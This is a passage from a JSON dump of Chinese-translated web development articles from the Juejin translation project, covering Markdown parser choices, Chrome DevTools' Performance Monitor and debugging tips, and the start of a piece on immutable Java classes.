    "content": "\n# 选择使用正确的 Markdown Parser\n\n* 原文链接 : [Choosing the Right Markdown Parser](https://css-tricks.com/choosing-right-markdown-parser/) \n* 原文作者 : [CSS-TRICKS](https://css-tricks.com) \n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) \n* 译者 : [lfkdsk](https://github.com/lfkdsk) \n* 校对者: [brucezz](https://github.com/brucezz) [lekenny](https://github.com/lekenny)\n\n_以下客座文章由[Ray Villalobos](http://www.raybo.org/)提供。在这篇文章中Ray将要去探索很多种不同的Markdown语法。所有的这些MarkDown变种均提供了不同的特性，都超越传统的Markdown语法，却又相互之间又各有不同。如果你正在挑选一门Markdown语言使用（或是提供给你的Web产品的用户使用），那你就值得的去了解它们，一旦选定就很难再切换到别的Markdown版本而且挑选的结果依赖于你需要哪些特性。Ray提供的一门[关于MarkDown课程](http://www.lynda.com/Web-Development-tutorials/Up-Running-Markdown/438888-2.html)将会分享这些不同的版本都拥有哪些特性去帮助你做出明智的选择。_ \n\nMarkdown改变了很多专业领域的书写方式。这种语言使用简单的文本和极少的标记就能够将其转换为越来越多的格式。然而不是所有的Markdown解析器被创造出来都是一样的。因为原来的规范没有与时俱进，替代版本像是 Multi-Markdown、GFM(Github Flavored Markdown)、Markdown Extra和其他的版本扩充了这门语言。\n\n[Markdown的原始解析器](https://daringfireball.net/projects/markdown/)是用Perl编写的。核心的特性包括解析块元素（例如段落，换行，标头，块引用，列表，代码块和水平线）和行内元素（链接，加重，代码段和图片）。从那以后，该解析器的作者John Gruber再也没有扩充过语法了，所以很多的新增和实现伴随着不同的他们认为合适的、或是支持解释某些元素的解析器支持浮出水面。\n\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2016/01/choose-markdown.jpg)\n\n### 选择一个版本\n\n在一个程序里实现Markdown功能需要考虑很多，包括你将要使用的开发语言和你想要支持的特性。原始的版本是由Perl编写的，对于每一个项目来说，这并不是一个实用的选择。最流行的实现版本包括：PHP、Ruby和JavaScript。你选择了哪种语言将会间接影响你能支持哪些特性和能使用哪些库。让我们来看看一些选择：\n\n语言|库 (下载项目)\n---|---\nPerl|[Original version](http://daringfireball.net/projects/markdown/)\nJavaScript|[CommonMark](https://github.com/jgm/commonmark.js)、[Marked](https://github.com/chjj/marked)、[Markdown-it](https://github.com/markdown-it/markdown-it)、[Remarkable](https://github.com/jonschlinkert/remarkable)、[Showdown](https://github.com/showdownjs/showdown)\nRuby|[Github Flavored Markup](https://github.com/github/markup)、[Kramdown](https://github.com/gettalong/kramdown)、[Maruku](https://github.com/bhollis/maruku)、[Redcarpet](https://github.com/vmg/redcarpet)\nPHP|[Cebe Markdown](https://github.com/cebe/markdown)、[Ciconia](https://github.com/kzykhys/Ciconia)、[Parsedown](https://github.com/erusev/parsedown)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)\nPython|[Python Markdown](https://pypi.python.org/pypi/Markdown)\n\n以防万一你想用别的语言去实现Markdown，这里还有许多额外的[其他的语言](https://github.com/markdown/markdown.github.com/wiki/Implementations)实现的版本。\n\n### 核心特性  \n\n核心Markdown语言支持许多非常有用的默认功能。虽然不同的实现支持一系列的扩展功能，他们都应该至少支持以下核心语法：[行内html](https://daringfireball.net/projects/markdown/syntax#html)、[自动分段](https://daringfireball.net/projects/markdown/syntax#p)、[标头](https://daringfireball.net/projects/markdown/syntax#header)、[块引用](https://daringfireball.net/projects/markdown/syntax#blockquote)、[列表](https://daringfireball.net/projects/markdown/syntax#list)、[代码块](https://daringfireball.net/projects/markdown/syntax#precode)、[水平线](https://daringfireball.net/projects/markdown/syntax#hr)、[链接](https://daringfireball.net/projects/markdown/syntax#link)、[加重](https://daringfireball.net/projects/markdown/syntax#em)、[行内代码](https://daringfireball.net/projects/markdown/syntax#code) 和 [图片](https://daringfireball.net/projects/markdown/syntax#img). \n\n### 值得注意的版本\n\n可用Markdown的版本有很多，有几个已经对其它版本有很大的影响。正因如此，你会经常看到他们被其他版本引述作为其中的一部分。例如，库会提到支持CommonMark，GFM或是Multi-Markdown。让我们来看看那意味着什么。\n\n\n#### GFM \n\nGithub是使Markdown在开发者中流行的原因之一，开源共享平台接受并扩展了一个叫[Github Flavored Markup](https://help.github.com/articles/working-with-advanced-formatting/)的版本，（GFM）包括围栏代码块，URL自动链接，删除线，表格甚至能够创建带有勾选框的任务列表。所以，当一个版本支持提及的GFM，就是实现了这些扩展。\n\n**支持功能**：[围栏代码块]、[语法高亮]、[表格]、[URL 自动补全链接]、[删除线] \n\n\n#### CommonMark\n\n最近有一个行动去规范Markdown语法。一组Markdown开发者加入去创建一个版本，测试和文档，最终的结果就是名为[CommonMark](http://commonmark.org/)的更强大的规范语言。此时，这个实现添加了围栏代码块，但是更多的是某些特征是如何获得一致的输出和转换要实现的具体细节。很多的拓展将会带来更加符合[其他语言](https://github.com/jgm/CommonMark/wiki/Proposed-Extensions)已经提出的特性.\n\n这种格式是较新的，不支持很多功能，但它正在积极开发并有计划地增加了许多Multi-Markdown的特性。\n\n**支持功能**: [围栏代码块]、[URL 自动补全链接]、[删除线] \n\n\n#### Multi-markdown \n\n第一个拓展了这门语言的重大的项目是Multi-Markdown。它增加了很多其他版本已经支持的特性。它最初和Markdown一样是用Perl编写的，不过后来转用C来写。所以，如果你看到一个项目支持Multi-Markdown，那么它很可能具有[这些功能](https://rawgit.com/fletcher/human-markdown-reference/master/index.html)大部分。\n\n### 可选择特性\n\n让我们来看看这些不同实现版本都支持的特性。\n\n#### 围栏代码块\n\n能够简单地在Markdown中添加代码是开发者添加的最好的功能之一。原始的实现会将四个空格或是一个制表符开头的行自动将文本作为代码块。有几个Markdown版本把代码块合并起来，允许你在文本开头使用三个刻度标记（`），或在某些情况下三个波浪字符（〜），以此把文本标记为代码块：\n\n\n    ``` \n    body { \n      margin: 0; \n      padding: 0; \n      color: #222; \n      background-color: white; \n      font-family: sans-serif; \n      font-size: 1.8rem; \n      line-height: 160%; \n      font-weight: 400; \n    } \n    ``` \n\n**支持的版本有:** [CommonMark](http://commonmark.org/)、[Github Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/)、[Kramdown](http://kramdown.gettalong.org/)、[Markdown-it](  https://markdown-it.github.io/)、[Marked](https://github.com/chjj/marked)、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/)、[Showdown](http://showdownjs.github.io/demo/) \n\n#### 语法高亮\n\n添加代码块是很棒的，但是默认Markdown的解释器将会将代码使用`<code>` 和 `<pre></pre>` 标记简单的包裹起来，这将使文本以一种预定格式和固定宽度字体格式显示。一些实现可以通过允许您指定旁边的刻度标记语言改善这一点，并可能包括一个分析器，可以自动让你选择不同的色彩款式，并指定语言代码编写，这样的颜色是更有意义的。\n\n    ```css \n    body { \n      margin: 0; \n      padding: 0; \n      color: #222; \n      background-color: white; \n      font-family: sans-serif; \n      font-size: 1.8rem; \n      line-height: 160%; \n      font-weight: 400; \n    } \n    ``` \n\n**支持的版本有:** [Github Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/)、[Kramdown](http://kramdown.gettalong.org/)*、[Marked](https://github.com/chjj/marked)、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/)、[Showdown](http://showdownjs.github.io/demo/) \n\n*有些支持不嵌入到解析器，而是依赖于其它的库如[highlight.js]（https://highlightjs.org/）。\n\n\n#### 表格\n\n在HTML编写表格很笨拙。 markdown的某些版本可以让你添加表以一个相当简单的语法。\n\n\n    Dimensions | Megapixels \n    ---|--- \n    1,920 x 1,080 | 2.1MP \n    3,264 x 2,448 | 8MP \n    4,288 x 3,216 | 14MP \n\n渲染的效果如下： \n\n<table><colgroup><col> <col></colgroup> \n\n<thead> \n\n<tr> \n\n<th>尺寸</th> \n\n<th>百万像素</th> \n\n</tr> \n\n</thead> \n\n<tbody> \n\n<tr> \n\n<td>1,920 x 1,080</td> \n\n<td>2.1MP</td> \n\n</tr> \n\n<tr> \n\n<td>3,264 x 2,448</td> \n\n<td>8MP</td> \n\n</tr> \n\n<tr> \n\n<td>4,288 x 3,216</td> \n\n<td>14MP</td> \n\n</tr> \n\n</tbody> \n\n</table> \n\n只需要几分钟就能够做出像这样的一个表格，但是在你做过几次后，你会认为使用HTML有一些麻烦。如果你创建表格需要帮助，阅读这篇指南[Markdown Tables Generator](http://www.tablesgenerator.com/markdown_tables).\n\n\n[![Markdown Tables Generator](https://cdn.css-tricks.com/wp-content/uploads/2016/01/OiO5m2q.png)](http://www.tablesgenerator.com/markdown_tables) \n\n**支持版本有：** [Github Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/)、[Kramdown](http://kramdown.gettalong.org/)、[Markdown-it](https://markdown-it.github.io/)、[Marked](https://github.com/chjj/marked)、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/)、[Showdown](http://showdownjs.github.io/demo/) \n\n\n#### 元数据\n\n一些拓展将会让你添加元数据以便添加一些信息，例如你的应用可以解析的像是选择模版或是设置一个文章标题。一些人使用[Multi-Markdown structure](https://github.com/fletcher/MultiMarkdown/wiki/MultiMarkdown-Syntax-Guide#metadata)为了元数据，其他人喜欢Jekyll parser的使用[YAML](http://www.yaml.org/)，它可以让你表达这种元数据部分中复杂的数据。这对于应用程序开发人员一个非常有用的方便的功能。\n\n    --- \n    Title:  SVG Article  \n    Author: Ray Villalobos \n    Date:   January 6、2016 \n    heroimage: \" http://i.imgur.com/rBX9z0k.png\" \n    tags: \n    - data visualization \n    - bitmap \n    - raster graphics \n    - navigation \n    --- \n\n**支持的版本有：** [Markdown-it](https://markdown-it.github.io/)、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/)、[Showdown](http://showdownjs.github.io/demo/) \n\n\n#### URL 自动链接\n\n这些简单的扩展让你的文字中出现的URL通过分析器会自动转换为链接。这种功能的确很方便实用，像GFM这样的实现版本，无需额外的工作即可使链接可以点击，使得写文档更简单。\n\n**支持的版本有：** [CommonMark](http://commonmark.org/)、[Github Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/)、[Kramdown](http://kramdown.gettalong.org/)、[Markdown-it](  https://markdown-it.github.io/)、[Marked](https://github.com/chjj/marked)、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/)、[Showdown](http://showdownjs.github.io/demo/) \n\n\n#### 脚注和其他链接类型\n\n脚注允许你把你文档的参考文献创建一个链接放置在Markdown页面底部。这不同于放置在文章内容中的普通链接。这允许用户在一个单独的部分，浏览所有的相关链接，有时会很有帮助。\n\n\t你可以在我们的注脚找到一个用PostCSS搭建的站点的例子，或者在Github Repo查看这个项目。\n\t\n    #### Footnotes \n    [Demo](http://iviewsource.com/exercises/postcsslayouts) \n    [Github Repo](https://github.com/planetoftheweb/postcsslayouts) \n\n在Multi-Markdown中还有很多其他的交互链接方式，但是它们在规范之外几乎没有任何支持。包括[交叉引用和引文](https://rawgit.com/fletcher/human-markdown-reference/master/index.html).很有可能个人解析器处理链接的方式就是你将要发掘的东西。\n\n\n**支持的版本有：** [Kramdown](http://kramdown.gettalong.org/)、[Markdown-it](https://markdown-it.github.io/)、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/)、[Showdown](http://showdownjs.github.io/demo/) \n\n#### 任务列表\n\n这是GFM的特性，并且已经被部分的实现。它增加了任务列表标记使您可以创建复选框旁边的内容来模拟一个任务列表清单。\n\n\n    - [ ] 运行 `> npm-install` 安装项目依赖\n    - [X] 通过Mac的terminal或是PC上的Gitbash安装 gulp.js 运行Gulp命令 `> npm install -g gulp` \n    - [ ] 运行Gulp命令行`> gulp` \n\n**支持的版本有：** [Github Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/)、[Markdown-it](https://markdown-it.github.io/)、[Marked](https://github.com/chjj/marked)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Redcarpet](https://github.com/vmg/redcarpet)、[Showdown](http://showdownjs.github.io/demo/) \n\n#### 定义列表\n\n虽然定义列表不为其他类型的列表为常见，这是一个伟大的方式编码用HTML中的某些类型的元素，有些实现创建了更简单的添加方式去添加这些。他们的定义有两种方式，根据不同的语言，用冒号（`：`）或符号（` ~ `），不过用冒号的实现版本更为常见一些。\n\n\n    ES6/ES2015 \n    :   流行JavaScript的新版本\n\n    TypeScript \n      ~ TypeScript是一个能够转换为JavaScript的、工作在大多数浏览器上的\n\n**支持的版本有：** [Kramdown](http://kramdown.gettalong.org/)、[Markdown-it](https://markdown-it.github.io/)*、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[PHP Markdown Extended](https://github.com/piwi/markdown-extended)、[Python Markdown](https://pythonhosted.org/Markdown/)、[Remarkable](https://jonschlinkert.github.io/remarkable/demo/) \n\n* 需要拓展\n\n#### 数学 \n\n对于一些用户来说创建数学公式是非常有用的，所以可以创建这些的语言已经在一些markdown的实现中出现，即Multi-Markdown。在其他语言的支持是可用的，有时通过扩展。\n\n\n**支持的版本有：** [Kramdown](http://kramdown.gettalong.org/)*、[Maruku](http://maruku.rubyforge.org/index.html)、[Multi-Markdown](http://fletcherpenney.net/multimarkdown/)、[Markdown-it](https://markdown-it.github.io/)、[Python Markdown](https://pythonhosted.org/Markdown/)* \n\n* 需要拓展 \n\n### 哦 亲爱的 I/O\n\n有一件事是你必须要小心的是不同版本是如何处理输入输出的。只是因为一个版本说它支持表，并不意味着定义表的标准方式。此外，一些版本将生成HTML，有些极其冗长，有些会很简。还有一大变化的东西，如空白间隔处理。有些版本将在每个标题设置ID但其他一些不会。这已经是OpenMark之后关注点之一。最好辨识你选择的版本支持哪些方式的方法是使用[Babelmark 2 test](http://johnmacfarlane.net/babelmark2/). 粘贴一些代码，它将会向你展示不同的解析器的输出作为预览\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2016/02/babelmark.png)\n"
  },
  {
    "path": "TODO/chrome-devtools-performance-monitor.md",
    "content": "> * 原文地址：[Chrome DevTools- Performance monitor](https://hospodarets.com/chrome-devtools-performance-monitor?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[malyw](https://twitter.com/malyw)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/chrome-devtools-performance-monitor.md](https://github.com/xitu/gold-miner/blob/master/TODO/chrome-devtools-performance-monitor.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[萌萌](https://github.com/yanyixin)、[noahziheng](https://github.com/noahziheng)\n\n# Chrome DevTools - 性能监控\n\n你是否经常需要 JavaScript 或者 CSS 进行优化，但是不能找到一个简单的方式来衡量优化的效果？\n\n当然，你可以使用时间轴来记录，但是在大多数情况下，时间轴只记录数据，并不是实时更新的。在这点还有其他的性能测量技巧，Chrome DevTools 添加了 “Performance Monitor（性能监控）” 选项卡，可以体现实时性能：\n\n![](https://static.hospodarets.com/img/blog/1511527599607549000.png)\n\n这些都是在 Chrom 稳定版本中可用的并且可以进行以下性能监控：\n\n1. 打开 URL：“chrome://flags/#enable-devtools-experiments” \n2. 将 “Developer Tools experiments” 选项设置为“启用”\n3. 点击 “Relaunch now” 来重启 Chrome\n4. 打开 Chrome DevTools (快捷键为 CMD/CTRL + SHIFT + I)\n5. 打开 DevTools “Setting” -> “Experiments” 选项\n6. 点击 6 次 `SHIFT` 显示隐藏的选项\n7. 选中 “Performance Monitor” 选项\n8. 重启 DevTools (快捷键 CMD/CTRL + SHIFT + I )\n9. 点击 “Esc” 打开附加面板\n10. 选择 “Performance monitor” \n11. 单击启用/禁用\n12. 开始使用性能监控吧 😀\n\n![](https://static.hospodarets.com/img/blog/1511540400748823000.gif)\n\n\n这里有很多不同的性能选项，大部分都是非常实用的并且我们在 Chrome 中用一些方法进行度量（例如时间轴，性能选项等）。\n\n但是我想要分享一些新内容：\n\n* “Layouts / sec” 和\n* “Style recalcs / sec”\n \n允许你实时的检测你的 CSS 性能，例如：\n\n感谢 [csstriggers.com](https://csstriggers.com/)，我们知道，改变 CSS 的 [`top`](https://csstriggers.com/top) 和 [`left`](https://csstriggers.com/left) 属性会触发整个像素渲染流程：绘制，布局和组合。如果我们将这些属性用于动画，它将每秒触发几十次/上百次操作。\n\n但是如果你使用 CSS 的 `transform` 属性的 `translateX/Y` 来切换动画，你将会发现，[这并不会触发绘制和布局，仅仅会触发组合这一阶段](https://csstriggers.com/top)，因为这是基于 GPU 的，会将你的 CPU 使用率降低为基本为 0%。\n\n所有的这些都在 Paul Irish 的文章 [为什么使用 Translate() 移动元素优于 Top/left](https://www.paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/)。为了测量差异，Paul 使用“时间轴”，展示了触发绘制和布局动作。但是近些年，Paul 正在致力于使用 Chrome DevTools 进行改良，这并不令人惊讶，我们终于有了一个合适的方法来衡量实时 CSS 性能。（我 fork 了他动画切换的示例代码）\n\n\n![](https://user-gold-cdn.xitu.io/2017/12/17/1606485cac9627b6?w=972&h=424&f=gif&s=4926541)\n\n[示例](https://codepen.io/malyw/pen/QOQvyz)\n\n一般来说，Chrome 中的性能监视器有很多用途。现在，您可以获得实时的应用程序性能数据。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/chrome-devtools.md",
    "content": "* 原文链接 : [Chrome Devtools Tips & Tricks](http://mo.github.io/2015/10/19/chrome-devtools.html)\n* 原文作者 : [Molsson](http://mo.github.io/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [chemzqm](http://chemzqm.me)\n* 校对者: [RobertWang](https://github.com/RobertWang)、[EthanWu](https://github.com/EthanWu)、[Zhangdroid](https://github.com/Zhangdroid)\n* 状态 : 翻译完成\n\n最近我花了很多的时间使用我的 Chrome 开发者工具。 通过这个过程我发现了一些以前错过的很棒的特性（或者说当时觉得没有必要去深究，例如：黑箱特性和异步栈追踪）。 因此，我想简要阐述一些我特别喜欢的开发者工具特性。\n\n* 那个小的放大镜图标可以告诉你决定当前的 CSS 类/选择器的某个特定样式是在哪个文件里定义的。 举例来说，在任意 DOM 元素上右键打开菜单，点击 “inspect” 选项，在右下的面板中选择 “Computed” 子面板，找到你感兴趣的属性并点击前面的放大镜图标就能直接定位到定义这个样式的文件了。（如果你是直接上手一个大型 web 项目的话这会非常有用）\n\n_译注：新版 Chrome 已经没有放大镜图标了，相应的 css 文件和定义样式的行数会在样式旁边直接显示，点击即可跳转_\n\n![](http://mo.github.io/assets/devtools-css-magnifier-icon.png)\n\n* 想要看到使用中应用发送的 XHR 请求，可以打开 settings 面板（译注：打开调试面板按 F1 呼出）选中 “Log XMLHttpRequests” 选项，然后就可以在 “Console” 面板中看到请求了。在我知道这件事之前，我需要创建一个代理来观察 http 请求，例如 Brup 套件这样的工具，并让 http 请求通过这个代理，如果你只想大致了解相关的请求，使用 “Console” 的方式会更方便一些。当然，使用一个中间人代理可以让你在请求发送过程中修改请求和响应的数据，这在进行某些安全性测试时会非常管用。 另一种替代的选择是在 “Sources” 面板下找到右侧面板中的 “XHR Breakpoints” 选项，然后激活 “Any XHR” 选项。（译注：新版 Chrome 支持 url 的正则匹配过滤）\n\n![](http://mo.github.io/assets/devtools-settings-log-xhr.png)\n\n* 现在，假设你的应用正在以一定频率发送 XHR 请求（例如为了确保当前页面状态是最新的），而你想要知道这些定时器是在哪儿定义的（很可能是通过 `setTimeout()` 或者 `setInterval()` 方法）。 想要找到它们，首先打开 “Sources” 面板，选中右边的 “Async” 确认框。 这会让你的程序中 `setTimeout()` 之类的异步调用暂停，而不会影响其它调用栈的顺利进行，即便是那个异步方法经过了很多层的调用。 这对 `requestAnimationFrame()` 以及 `addEventListener()` 之类的浏览器提供的异步方法也会起作用。你可以在这里找到这个确认框：\n\n![](http://mo.github.io/assets/devtools-async-stacktraces.png)\n\n* 如果你想快速定位某个特定按钮或者链接点击后所触发的代码，只需要在你真正点击按钮之前，激活一个 “Event listener breakpoint”, 选中右侧面板下 mouse 下面的 click 确认框即可（又是一个调试大型应用的杀手级特性）\n\n![](http://mo.github.io/assets/devtools-event-listener-breakpoints.png)\n\n* 当你使用 “Event listener breakpoint :: Mouse :: Click” 调试事件时，有很大的可能是代码在第三方的库中中断了（例如 jquery ），这时如果你想找到属于自己项目的调用需要在调试器里面点很多次的下一步才能看到。 一种很棒的方式就是把这些第三方的脚本放到黑盒里面，调试器永远不会在黑盒中的脚本内停止，它会一直向后运行，直到运行的代码行位于黑盒之外的文件。 你可以在调用栈面板中右键点击第三方脚本的文件名，然后左键在下拉菜单中点击 “Blackbox Script”。\n\n![](http://mo.github.io/assets/devtools-blackbox-third-party-script.png)\n\n* 你可以使用 `ctrl-p` （后面还可以跟 `:` 加行号跳转到特定行）快速跳转到一个引用文件（就像在atom 编辑器里一样）\n\n_译注：这些 Chrome 开发者工具提供的快捷键里面的 `ctrl` 在 Mac 系统下对应为 `⌘`。_\n\n![](http://mo.github.io/assets/devtools-open-file-ctrl-o.png)\n\n* 你可以使用 `ctrl-shift-p` 跳转到一个特定函数（仅限当前打开的文件）\n\n_译注：`ctrl-shift-p` 在 Mac 系统下默认操作为 ‘进去/退出全屏’。_\n\n![](http://mo.github.io/assets/devtools-go-to-member.png)\n\n* 你可以使用 `ctrl-shift-f` 来搜索全部的文件\n\n![](http://mo.github.io/assets/devtools-search-all-files-ctrl-shift-f.png)\n\n* 通过鼠标选中一个单词，然后按下 `ctrl-d` 任意次你可以同时选中相同名称的多个单词，然后借助同步的鼠标指示对它们进行同时编辑（同样，就像 atom 里面一样）。  用来做变量重命名非常不错。\n\n![](http://mo.github.io/assets/devtools-multiple-cursors-ctrl-d.gif)\n\n* 如果当前的站点在你的本地有对应的文件，有种办法可以让你在开发者工具内修改文件后直接保存到本地的硬盘。 选中 Sources 面板，右键点击左侧文件列表的任意文件，左键点击 “Add Folder to Workspace”, 然后选择你对应的本地文件目录。然后，右键点击你本地文件列表内的文件，然后左键选中 “Map to Network Resource…”，最后选中相应的网络文件。\n\n![](http://mo.github.io/assets/devtools-workspace-map-network-resource.png)\n\n额外的一些小技巧：\n\n* 在控制台内 `$0` 指向你你在 Elements 面板内高亮选中的元素\n* 你可以在控制台使用代码 `$x(\"//p\")` 来获取元素的 XPath 表达式（这在编写 selenium 测试集时非常有用，尤其是 css 选择器不容易编写的时候）\n\n同时向您推荐两个 Chrome 扩展工具：\n\n*   [JSONView](https://www.google.se/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCAQFjAAahUKEwje6JvErs_IAhVI_iwKHSwaALo&url=https%3A%2F%2Fchrome.google.com%2Fwebstore%2Fdetail%2Fjsonview%2Fchklaanhfefbnpoihckbnefhakgolnmc%3Fhl%3Den&usg=AFQjCNH3ET5JyRh_aKGH_G5Ws5MXENK5bA&sig2=JD7IupIQ8cZJwE_05USbwg) 它能帮你格式化并缩进 JSON 代码（甚至支持折叠/展开代码块）。 它可以让你可以直接点击 JSON 中包含的 url 链接来进行跳转，这可以帮助你直接在浏览器中调试基于 JSON 的 API。 例如：你可以在插件安装完成前后试着打开这个链接[`http://omahaproxy.appspot.com/all.json`](http://omahaproxy.appspot.com/all.json)，或者这个[`https://api.github.com/`](https://api.github.com/) (可点击的 url 链接让你可以更容易的直接在浏览器内探索这些 API)\n\n*   [JS Error Notifier (无监控版本)](https://chrome.google.com/webstore/detail/javascript-errors-notifie/fhbooopdkjpkogooopbmabepipljagfn) 它会在错误显示在控制台后弹出一个界面提示框。 遗憾的是，它的主要版本会向第三方的服务发送一些用户数据（[issue #28](https://github.com/barbushin/javascript-errors-notifier/issues/28) 可以看到更多讨论）。 不管怎么说，它都帮我注意到并解决了几个 bug。(译注：该版本已下架)\n\n最后，我真的觉得 Chrome 开发者工具很棒，但有一点让我有点苦恼就是它不支持用户自定义快捷键:\n\n*   [支持用户自定义快捷键](https://code.google.com/p/chromium/issues/detail?id=174309)\n\n_译注：Chrome 所使用的 V8 引擎在处理错误栈信息时并不总是正确识别各种 `sourcemap`，如果你项目中使用 `sourcemap` 技术的话，这里有个工具 [Stack-source-map](https://github.com/chemzqm/stack-source-map) 或许可以帮上你_\n"
  },
  {
    "path": "TODO/clean-java-immutability.md",
    "content": ">* 原文链接 : [Clean Java immutability](http://blog.alexsimo.com/clean-java-immutability/)\n* 原文作者 : [Alexandru Simonescu](http://blog.alexsimo.com/clean-java-immutability/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [buccoji] (https://github.com/buccoji)\n* 校对者: [WuHaojie] (https://github.com/a-voyager), [jamweak] (https://github.com/jamweak)\n\n# Java 不可变类的整洁之道\n\n当一个普通类 (class) 的实例不能被修改时，我们便称之为「不可变类」(immutable class)。这样的类在实例化时便需要提供其所有的值，而在之后的运行中便绝不可更改。比如大家可能都知道的 Java 中已有的一些**不可变**类型，_String_ (string 的字符串联很没效率，对吧), _BigInteger_, 和 BigDecimal_。\n\n设计一个不可变类有如下的好处：\n\n*   更简明的设计、实现、和使用\n*   更不容易出错\n*   更安全，因此可以轻松分享\n*   线程安全，无需同步锁\n\n本篇短文希望能够帮助你通过各种不同的方法在 Java 中更简洁地创建和生成不可变类。我们会谈到两种最常见代码生成库：**Immutables** 和 **AutoValue**，以及 **Guava’s** 中的一些不可变集合 (collection)。\n\n我个人认为这两种库各有千秋，所以本文并不会去比较这两者。你应当根据自己的代码库和实际需求来决定选择更适合你的那一个。\n\n## 普通 Java 不可变类\n\n将一个类变为「不可变」类有以下几项基本步骤：\n\n*   **不可继承** 为类添加 _final_ 修饰即可，这样可预防恶意代码通过继承来改变该类的任何状态。\n*   **所有类变量都不可更改.** 将变量全都设置为 final 时，所有的值都需要通过在构造函数中便传入，或者另建立一个*生成器模式* (builder pattern)。\n*   **将所有类变量都设置为私有 (private).** 显然，如果仍然设置为公共 (public)，这些类变量的值都有可能被读取和修改。\n\n在 Java 中使用不可变类:\n\n\n\n    public final class Autobot {\n\n      private final String name;\n      private final String fullname;\n      private final Boolean leader;\n      private final String group;\n\n      public Autobot(String name, String fullname, Boolean leader, String group) {\n        this.name = name;\n        this.fullname = fullname;\n        this.leader = leader;\n        this.group = group;\n      }\n\n      public String name() {\n        return name;\n      }\n\n      public String fullname() {\n        return fullname;\n      }\n\n      public Boolean leader() {\n        return leader;\n      }\n\n      public String group() {\n        return group;\n      }\n    }\n\n\n\n所有类值都是 **private 和 final**，类本身也是 *final*，且没有任何可变函数。\n\n当需要一个能返回某类实例的函数时，则一定要返回一个全新的实例。假设此处的 **Autobot** 类有一个 _fusion(Autobot)_ 函数，且传入给它另一个 _Autobot_ 的话，它便会融合这两个 Autobot。\n\n\n    public Autobot fusion(Autobot autobot) {\n      return new Autobot(name.concat(autobot.name()));  \n    }\n\n\n\n本文将会提供一些能够帮助你节省时间的不可变类结构自动生成工具。之所以需要代码自动生成，是因为它省时，且通过了周全的测试，其中也没有难懂的部分，只是在建构时便自动生成，何乐而不为呢。\n\n> **Android**: 以下自动生成库需要在 Android Studio 中设置此处的 *注释处理工具* (annotation processor tool\n) [APT](https://bitbucket.org/hvisser/android-apt)。\n\n## Immutables 库\n\n以上代码示范了如何在单纯 Java 环境下建造一个不可变类。虽然需要真正去写的代码并不多，但当代码中有许多类变量或代码本身采用的是*生成器模式*时，模版代码 (boilerplate code) 的书写量便会大增，而这不正好是代码生成工具擅长的！\n\n以下将示范如何通过 [Immutables](http://immutables.github.io/) 